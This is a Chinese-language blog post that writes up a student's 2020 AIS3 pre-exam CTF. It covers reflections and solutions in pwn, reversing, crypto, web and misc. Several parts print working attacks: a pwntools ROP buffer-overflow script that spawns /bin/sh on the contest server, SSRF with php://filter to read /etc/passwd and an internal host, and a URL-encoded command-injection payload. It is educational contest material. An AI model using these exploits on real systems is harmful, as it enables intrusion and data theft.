2020 AIS3 pre-exam

08 June 2020

Final score

MyfirstCTF

AIS3 pre-exam

最終成績不算太好,自己實力真的不足,經過這次體驗後真心覺得自己有太多東西要學,尤其是Web,因為對php太不熟,所以真的很多別人覺得是基礎的東西我都還要查半天Orz。所以稍微紀錄一下這次參與AIS3 pre-exam心得,以及應該改進的地方。

MyFirstCTF

這次的AIS3分成MyFirstCTF跟pre-exam兩個階段,MyFirstCTF的題目是pre-exam的子集合。而MyFirstCTF是一個短時間(約7小時)的比賽,而pre-exam則是長達2-3天的比賽。這次兩項比賽都有參加,兩項比賽的分數是分開計算的。因此我在第一天參加MyFirstCTF,後面兩天繼續參加pre-exam的部分,反正題目是重疊的。

當天是早上8:30開始規則說明,10點開始比,一路比到下午5:30,其實時間很短很趕,所以我幾乎整天都坐在電腦桌前,不敢亂跑XD。連中午吃飯也大概在20分鐘內解決,馬上回去解題。剛開始早上衝很快,一度保持第一名的成績,結果下午一落千丈,各種被超車,最後20名收尾….。很可惜的是我在一些題目花了太多時間,導致其他比較有機會能快速解出來的題目就沒有解到這樣。真心覺得不應該糾結在web題的QQ。而且其實一路思考到下午其實腦袋就快爆炸了,頭痛XD。

紀錄一下還在第一名的時光,但這只是暫時的QQ。

Pre-exam

pre-exam後比較佛係解題,但不得不說,我非常喜歡這次的比賽,因為題目上沒有太多通靈,品質都很棒,而且都還蠻能學到很多不錯的技巧。覺得真的很有趣,沒有那種無聊開開chrome console就能解掉的題目,都要稍微想一下。整體非常享受比賽解題的過程。可惜因為期末加上很多事情要做,後面pre-exam沒辦法花太多時間弄QQ。不然覺得很多題目很值得花時間做。不過我覺得也太多大神參加這個比賽了吧==。前幾名都被大神包辦….。

Writeup

PWN

BOF

flag: AIS3{OLd_5ChOOl_tr1ck_T0_m4Ke_s7aCk_A116nmeNt}
就是單純的buffer overflow,我是用ROP來疊gets的function,input /bin/sh字串後在呼叫systemplt來解,就可以rce。然後注意有stack alignment的問題,所以要再插入一個return。payload

from pwn import *

system_plt = p64(0x0000000000400570)
gets_plt = p64(0x0000000000400580)
puts_plt = p64(0x0000000000400560)
bss = p64(0x6010c0)
pop_rdi = p64(0x00000000004007a3)
ret = p64(0x0000000000400546)
r = remote("60.250.197.227",10000)

payload = flat(
	'a' * 48,
	ret,
	pop_rdi,
	bss,
	gets_plt,
	pop_rdi,
	bss,
	system_plt
)

r.recvuntil("\n")
r.sendline(payload)
r.sendline("/bin/sh\0")
r.interactive()
NonSense

這題所有保護機制都關,所以沒有NX能夠執行shellcode。

這題看起來是shellcode題,可惜沒有解出來,對shellcode還太不熟QQ。 簡單來說就是輸入都會寫道bss區段,然後如果輸入的字串符合要求

  1. 包含wubbalubbadubdub這個字串
  2. 所有輸入的字元都要大於31

他就會來執行我們寫進bss的字串。而那串規定的字串其實等於jump的instruction,他會跳到一個空的bss區段,等於要在執行到這段前把shellcode弄好,因為跳到那裡就結束了QQ,是空白的bss段。主要問題點在於怎麼寫shellcode都會有字元小於31,所以不知道怎麼弄shellcode QQ。

後來問Jason哥,得知他並不是所有字元都要大於31,是那串詭異的字串之前的字元都要大於31(他只會檢查到那個字串而已),所以輸入字串可以是下列形式

<jump到shellcode>wubbalubbadubdub<binsh shellcode>

所以透過這個方式就可以在跑道那串詭異字串之前就跳到我們寫的shellcode處。比較大的問題點事,我也不太確定要怎麼construct jump的shellcode。因為直接轉jump 0x…時會跳error QQ。

Reverse

Reverse題目我都覺得不錯玩

FallenBeat

flag: AIS3{Wow_how_m4ny_h4nds_do_you_h4ve}

就是給你一個音樂遊戲檔(jar檔),然後就是裡面有一個地獄級關卡,能打到full combo就能得到flag。他就是把user輸入的字元跟flag做xor,最終得到flag。所以要full combo才能保證字元都對。

解法一就是打到full combo XD,不過應該不太可能。另一個作法就是把jar檔reverse。此時就可以開始看code

然後這裡發現她把flag跟cache.get的char做xor,最終得到flag,所以在更深入去看cache是啥

發現他是讀hell.txt這個file的內容存進cache裡。所以我們只要把hell.txt裡面的數字陣列跟flag的array做xor,最後就可以得到flag了

TsaiBro

flag: AIS3{y3s_y0u_h4ve_s4w_7h1s_ch4ll3ng3_bef0r3_bu7_its_m0r3_looooooooooooooooooong_7h1s_t1m3}

給定一個TsaiBro的binary file跟一個TsaiBroSaid的ascii file。 起手式當然是用ida-pro給他reverse一下,發現他其實做的事情就是,他裡面有一個table,就是一個list,長度為64。然後他會去配合TsaiBroSaid裡面的檔案來決定要輸出Table裡的哪個字元。

TsaiBroSaid

Terry...逆逆...沒有...學問...單純...分享...個人...生活...感觸...
發財..發財.......發財....發財.......發財....發財.發財........發財.......

基本上就是這樣發財下去,第一行完全沒意義。重點是第二行後,發財之間的.的數量是不同的。而他是兩個發財加上兩個.序列為一組,一組可以決定一個字元,以上述例子而言,發財..發財……. 這樣就是一組。然後它代表的意思是,這個字元在table裡除以8 = 2,mod 8 = 7,透過這樣的方式決定要輸出table裡哪個字元,這樣把TsaiBroSaid裡的字串拼一拼,就可以得到flag了

StandUpBrain

這題是給一個binary file,reverse後發現他是要你輸入6個字元的笑話,輸入對就給你flag。內容發現他裡面有一組字串

'-----------------------------------------------------------------'
'--[>[-]<[-]]>[>--------------------------------------------------'
'------[>[-]<[-]]>[>----------------------------------------------'
'---------[>[-]<[-]]>[>-------------------------------------------'
'-----------[>[-]<[-]]>[>-----------------------------------------'
'----------[>[-]<[-]]>[>---------------------------------[>[-]<[-]'

基本上大概長這樣,也是不短,這裏擷取片段,配合main function來看,這裡面的字元就是決定了一種operation,就是如果出現「-」就對輸入的字串做一個運算,如果輸入字串是「>」那就是對輸入的字串做另一個運算。根據更多的觀察後,發現他其實「-」就代表字串的裡的那個ascii要扣掉這麼多,然後「[」來驗證他等不等於0,「>」代表輸入字串移到下一個字元,所以最後就代表說每個「-」序列長度就代表輸入字串的ascii代碼。所以就得到笑話為C8763!,跑起程式,輸入C8763!就可以得到flag。

Crypto

我解的幾乎都糞題,簡單說明

t-Rex

flag:AIS3{TYR4NN0S4URU5_R3X_GIV3_Y0U_SOMETHING_RANDOM_5TD6XQIVN3H7EUF8ODET4T3H907HUC69L6LTSH4KN3EURN49BIOUY6HBFCVJRZP0O83FWM0Z59IISJ5A2VFQG1QJ0LECYLA0A1UYIHTIIT1IWH0JX4T3ZJ1KSBRM9GED63CJVBQHQORVEJZELUJW5UG78B9PP1SIRM1IF500H52USDPIVRK7VGZULBO3RRE1OLNGNALX}

就是給你一個map對應表和密文,就把它做對應一下就得到flag了,然後flag超長= =。

Brontosaurus

flag:AIS3{Br0n7Os4uru5_ch3at_3asi1Y}

就是jsfuck題,他下載下來的檔名叫做KcufsJ,代表反了,所以把裡面的字串做一下inverse,貼到chrome console就可以得到flag了

Octopus

flag: AIS3{EveryONe_kn0w_Quan7um_k3Y_Distr1but1on--BB84}

還蠻酷的,後量子密碼學的key exchange protocol: BB84

這題其實很簡單,去搜尋一下BB84這個protocol後就可以解了。基本上就是利用量子觀察不確定性的特性,就是他有兩種觀察模式,個別觀察模式可以觀察到兩種結果,就可以代表bit 0,1。如果你用對觀察模式,那觀察結果就會是跟原先出來時一樣,如果用錯觀察模式,就會導致觀察到的量子的方向是random的。因此key exchange就是A先不斷發送量子根觀察到的結果給B(A每個量子觀察模式都是隨機,但不傳給B)。B收到各個量子時,因為不知道A對個別量子的觀察模式,自己也就隨機觀察。最後A再公布他個別量子的觀察模式,對於各個量子,如果B觀察模式跟A依樣,B才採用那個量子,把它對應到0 or 1(根據觀察結果)。如果B觀察模式和A不同,那就不理那顆量子,最終大約會有50%的量子被採用,而這50%量子是隨機的,所以key exchange很安全。

題目給我們A的觀察模式、觀察結果,B的觀察模式。用這樣的方法把key導出來,就可以解開flag了。

Web

Shark

flag: AIS3{5h4rk5_d0n'7_5w1m_b4ckw4rd5}

這題是SSRF + php filter的應用。
登進去可以看到的頁面

看到path後面可以接hint.txt,就嘗試接接看其他檔案,像是index.php,然後發現她有WAF,不能輸入/etc/passwd這種,會擋。

接著就想到可以用php://filter這種方式,所以就用這種方式bypass來看/etc/hosts, /etc/passwd,圖為看/etc/hosts的結果。

發現裡面有一台172.22.0.3的ip,但那台好像就是自己這台QQ,所以沒有flag,後來就亂try,發現internal server在172.22.0.2,所以把path設成這個主機的flag資料夾就可以得到flag

payload: https://shark.ais3.org/?path=http://172.22.0.2/flag

squirrel

flag: AIS3{5qu1rr3l_15_4_k1nd_0f_b16_r47}

比賽結束後跟Jason問Jason的QQ。

基本上我那時已經快解出來了,就差一個單引號而已….。
問題點就是對php rce這種東西太不熟悉,以為是做不到,結果實際上是自己的payload寫錯,所以要更加的注意。並且更完善的測試。要建造local一台php service來測試看看結果,印出command,看是不是真的能做到rce。

進去網站後發現他有一個api.php,基本上就可以發現他是讀進一個GET參數,然後執行shell_exec去讀那個檔。

第一步是先去看/etc/passwd之類的,但沒發現任何東西,後來想到這有機會進行rce

例如: /etc/passwd ; ls -l 之類的,因此就嘗試了,在比賽中一直失敗,後來得知我少了一個單引號,下次一定要用php好好的測QQ。台大計安讓我對web產生太大的陰影了QQ。

payload: https://squirrel.ais3.org/api.php?get=api.php%27;ls%20/%27

此時就可以知道flag是哪個檔案,然後就讀他即可

misc

Saburo

flag: AIS3{A1r1ght_U_4r3_my_3n3nnies}

nc那台server時,發現特定數字他的分數比較高(或者說延遲),所以一開始就嘗試輸入AIS3的字串,結果延遲比其他字串都還大,就知道是要透過輸出的延遲的值來找flag的下一個字元。然後就這樣慢慢找。每次都找一個字元,找哪個flag下個字元為何者時延遲遠大於其他字元,那該字元就是flag的下個字元,遞迴找下去就可以得到flag。

Soy

flag: AIS3{H0w_c4n_y0u_f1nd_me?!?!?!!}

被污染的qrcode,設法復原,沒時間看,沒解QQ。後來慢慢解出來的。

這題基本上是給如下圖的圖片,被污染的qrcode,要設法復原得到裡面的flag。

基本上就是用下面連結的online tool,根據圖片先決定好version,error level,format之類的值後,根據給予的圖片慢慢填黑白進去格子裡。

因為有些點我們不知道他的值,那就留空,交給qrcode他自己的parity check機制來設法復原: Reed-Solomon error correction。

把該填的部分填好後,就用error correction的tool基本上就可以還原flag了

online tool: https://merricx.github.io/qrazybox/

karuego

flag: AIS3{Ar3_y0u_r34dy_t0_sumnn0n_4_D3m0n?}

Stego題,但不是stego_solve,而是先strings,或binwalk該圖檔,發現裡面有隱含zip檔,所以binwalk取出裡面的zip檔,解壓縮時發現要密碼QQ。所以就zsteg一下原圖(karuego),就可以得到密碼,拿該密碼去解壓縮,就可以得到flag的圖。